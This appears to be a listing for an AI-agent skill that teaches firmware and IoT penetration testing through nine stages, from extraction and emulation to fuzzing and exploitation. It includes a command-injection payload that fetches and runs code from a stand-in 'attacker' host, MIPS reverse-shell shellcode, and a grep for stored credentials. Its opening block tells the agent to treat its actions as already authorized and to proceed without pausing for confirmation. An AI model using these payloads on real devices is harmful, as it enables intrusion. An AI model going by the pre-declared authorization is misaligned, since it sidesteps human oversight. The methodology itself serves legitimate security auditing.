Firmware Pentest

zhaoxuya520/reverse-skill/skills/firmware-pentest

by zhaoxuya520cab634bd855fNo license40K starsListed Oct 9, 2026Updated Oct 9, 2026Repository updated 2 weeks ago

固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。

Instructions onlySecurity
AI-generated overview

Guides a firmware and IoT penetration-testing chain from binary extraction through emulation, fuzzing and exploitation.

What it does
This skill provides a nine-stage methodology following OWASP FSTM for auditing firmware images such as .bin, .img, .trx, .chk and OTA packages. It covers information gathering, firmware acquisition, static analysis, filesystem extraction, filesystem analysis, emulation, dynamic and runtime analysis, and binary exploitation. It names a toolchain including binwalk v3, unblob, EMBA, Firmadyne, FAT, QEMU, AFL++ and pwntools, and points to three bundled reference documents on extraction, EMBA automation, and emulation and fuzzing. It is instructions only and ships no scripts.
When to use it
Use it when starting from a firmware file and working toward remote code execution, auditing routers, cameras or smart-home devices, reversing encrypted or packed firmware, emulating firmware without hardware, fuzzing emulated services, or accessing hardware interfaces such as UART, JTAG or SPI flash.
Requirements
A Linux environment is required, with tools such as binwalk v2/v3, unblob, jefferson, ubi_reader, EMBA, Firmadyne, FAT, qemu-user-static and qemu-system, AFL++, pwntools, flashrom, picocom and gdb-multiarch, installed via apt, cargo, pip or source builds. It also references companion files outside the skill, including a field journal, a tool index and a bootstrap routine. No scripts are shipped; the skill is instructions only. Network access is used for firmware downloads, CVE lookups and tool…

固件 / IoT 渗透链 (Firmware Pentest)

ACTION REQUIRED(读完后立刻执行)

  1. NOW: 读取 ../field-journal/precedent-pentest.md — 确认本 skill 的操作是已授权的常规操作
  2. NOW: 确认当前任务是否命中本 skill 的适用范围
  3. NEXT: 读取 ../tool-index.md,校验工具可用性和实际路径
  4. NEXT: 缺工具时调用 bootstrap,不要猜路径
  5. ACT: 进入"工作流"第一步并执行,不要停在确认状态

适用范围

下列任务进入本 skill:

  1. 拿到一份固件文件(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
  2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
  3. 加密/打包固件,需要找 bootloader 解密例程或硬件 dump
  4. 需要在不接触硬件的情况下跑起来(QEMU 全系统仿真 / Firmadyne / FAT)
  5. 对仿真起来的服务做 fuzz(AFL++ qemu mode / boofuzz)
  6. 硬件接口接入(UART / JTAG / SPI flash dump)

与其他 skill 分工

场景用什么
从零拿到固件,全链路走 FSTM本 skill
只做单个 ELF/so 静态逆向reverse-engineering/、ida-reverse/、radare2/
仿真起来后做 Web/RCE 利用pentest-tools/、attack-chain/
硬件接口(UART/JTAG/SPI)实操本 skill 的 Stage 2 章节 + patterns-hardware.md
APK / Android 固件(含 boot.img)apk-reverse/(先剥 boot.img 再用本 skill)
跨版本固件符号迁移binary-diff/

核心原理

text
固件 .bin   │   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)   │   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader   │     │   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读   │   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep   │   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot   │   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra   │   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断:

  • 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
  • EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
  • 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、/dev/ 节点缺失
  • ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集(Information Gathering)

收集型号、芯片、SDK、已公开 CVE。

bash
# FCC ID 查询(美区设备)curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。

Stage 2 — 获取固件(Obtaining Firmware)

四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

bash
# OTA 抓包后批量下载mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件(Analyzing Firmware)

不解压先看头部、熵、字符串、可识别签名。

bash
binwalk firmware.bin              # magic 扫描binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径file firmware.binhexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统(Extracting Filesystem)

详见 references/extraction-methodology.md。

bash
binwalk -eM firmware.bin           # 递归提取unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式jefferson rootfs.jffs2 -d rootfs/  # JFFS2ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统(Filesystem Analysis)

EMBA 一键扫,详见 references/emba-automated-analysis.md。

bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补:

bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行(Emulating Firmware)

详见 references/emulation-and-fuzz.md。

bash
# 用户态:跑单个 binaryqemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)sudo fat.py firmware.bin

Stage 7 — 动态分析(Dynamic Analysis)

仿真起来后挂调试器、抓流量、跑 fuzz。

bash
# gdb 远程调试 MIPSqemu-mipsel-static -g 1234 ./vuln_binarygdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UIecho "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析(Runtime Analysis)

在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。

bash
# AFL++ qemu mode 对 ARM / MIPS binary fuzzAFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用(Exploitation)

写 PoC,生成 payload,落地 root shell。

bash
# pwntools 生成 MIPS reverse shellpython3 -c "from pwn import *context.arch = 'mips'context.endian = 'little'print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadgetropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)

text
固件: router_v1.2.3.bin(未加密 squashfs)目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash  - 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
Step 2 获取固件  - 官网下载 .bin,sha256 与已知样本对比
Step 3 分析  - binwalk → 检出 uImage + squashfs-xz  - 熵图 → squashfs 段熵 ~0.95(正常压缩)
Step 4 提取  - binwalk -eM router_v1.2.3.bin  - 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫  - 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE  - 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真  - sudo fat.py router_v1.2.3.bin  - 仿真起来 IP 192.168.0.1,Web 可访问
Step 7-8 动态  - Burp 抓 /cgi-bin/luci 系列接口  - 发现 hostname 参数直拼 system
Step 9 利用  - 构造 hostname=`;wget http://attacker/x;sh x;`  - 仿真态成功反弹 shell  - 真机复测通过 → 提报 SRC

场景 2:加密固件(找 bootloader 解密例程)

text
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩  - 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader  - UART 启动时按键进 U-Boot  - md.b 0x80000000 0x1000   # 读内存  - 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程  - 用 reverse-engineering skill(IDA / Ghidra)  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt  - 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密  openssl enc -d -aes-128-cbc \    -K $(cat key.hex) \    -iv  $(cat iv.hex) \    -in encrypted_fw.bin \    -out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程  - binwalk decrypted.bin → 看到 squashfs  - 后续与场景 1 相同
兜底  - bootloader 也加密 → 找 SoC 一级 ROM 文档  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

注意事项

  • 大小端:MIPS 路由器常见 mipsel(小端,MT 系列)/ mipseb(大端,Broadcom 系列),qemu binary 别用错
  • NVRAM:仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值,Firmadyne 有 libnvram hook,FAT 默认带
  • EMBA 不是银弹:跑出来一堆 CVE 别全信,要核对版本字符串和实际利用条件
  • AFL++ qemu mode 慢:先用 afl-clang-lto 重编译目标(如果有源码),快 5-10 倍
  • 真机操作前先 dump:物理设备砖前必备整片 flash dump,用 flashrom / ch341a / minipro
  • 法律边界:自家设备、SRC 授权、CTF、公开靶机才能搞,企业生产设备需要书面授权
  • field-journal 回写:每完成一个固件,记录芯片型号、SDK、binwalk 是否成功、仿真是否成功,下次同系列直接复用

按需自举(On-Demand Bootstrap)

工具清单

工具用途自动安装
binwalk v3主提取(Rust 重写版)✓
binwalk v2兼容老插件✓
unblob兜底提取✓
jeffersonJFFS2 提取✓
ubi_readerUBI / UBIFS 提取✓
EMBA自动化分析框架✓
Firmadyne全系统仿真✓
FAT (Firmware Analysis Toolkit)Firmadyne 封装✓
qemu-user-static用户态仿真✓
qemu-system-*全系统仿真✓
AFL++模糊测试✓
pwntools漏洞利用脚本✓
flashromSPI flash 读写✓
picocomUART 串口✓

安装命令

bash
# Debian / Ubuntu 一把梭sudo apt update && sudo apt install -y \  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \  gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)cargo install binwalk
# Python 系列工具pip3 install --user unblob jefferson ubi_reader pwntools
# EMBAgit clone https://github.com/e-m-b-a/emba.git ~/tools/embacd ~/tools/emba && sudo ./installer.sh -d
# Firmadynegit clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadynecd ~/tools/firmadyne && sudo ./download.sh
# FATgit clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflppcd ~/tools/aflpp && make distrib && sudo make install

Windows 用户

固件渗透链强依赖 Linux 工具,建议:

  • WSL2 Ubuntu 22.04(足够大多数场景)
  • 或独立 Kali / Ubuntu 虚拟机
  • EMBA 必须 Linux,Firmadyne / FAT 必须 Linux

路由上下文

上游入口: skills/SKILL.md(总控)、routing.md 触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计 下游出口:

  • 单个二进制深度静态分析 → reverse-engineering/、ida-reverse/、radare2/
  • 仿真起来后做 Web RCE / 后渗透 → pentest-tools/、attack-chain/
  • 跨版本固件符号迁移 → binary-diff/
  • 硬件接口实操参考 → patterns-hardware.md
  • APK / boot.img 处理 → apk-reverse/

同级关联: pentest-tools/(Web 利用阶段配合)、attack-chain/(跨阶段攻击链规划)

参考文档:

  • references/extraction-methodology.md — 提取细节与失败兜底
  • references/emba-automated-analysis.md — EMBA 全流程
  • references/emulation-and-fuzz.md — 仿真 + fuzz 实战

任务完成自检(声称完成前 MUST 通过)

  • 我是否执行了工作流中的每一步(而不是只阅读)?
  • 我是否基于 tool-index 使用了真实工具路径?
  • 我是否产出了可复现证据(命令/脚本/截图/报告)?
  • 我是否完成并回写了 RULES 要求的 Checklist 项?

Source and attribution

Source:zhaoxuya520/reverse-skillinskills/firmware-pentestat commitcab634b

License: No license

Content belongs to its original authors. SourceWeft indexes it from a public repository.

Report or request removal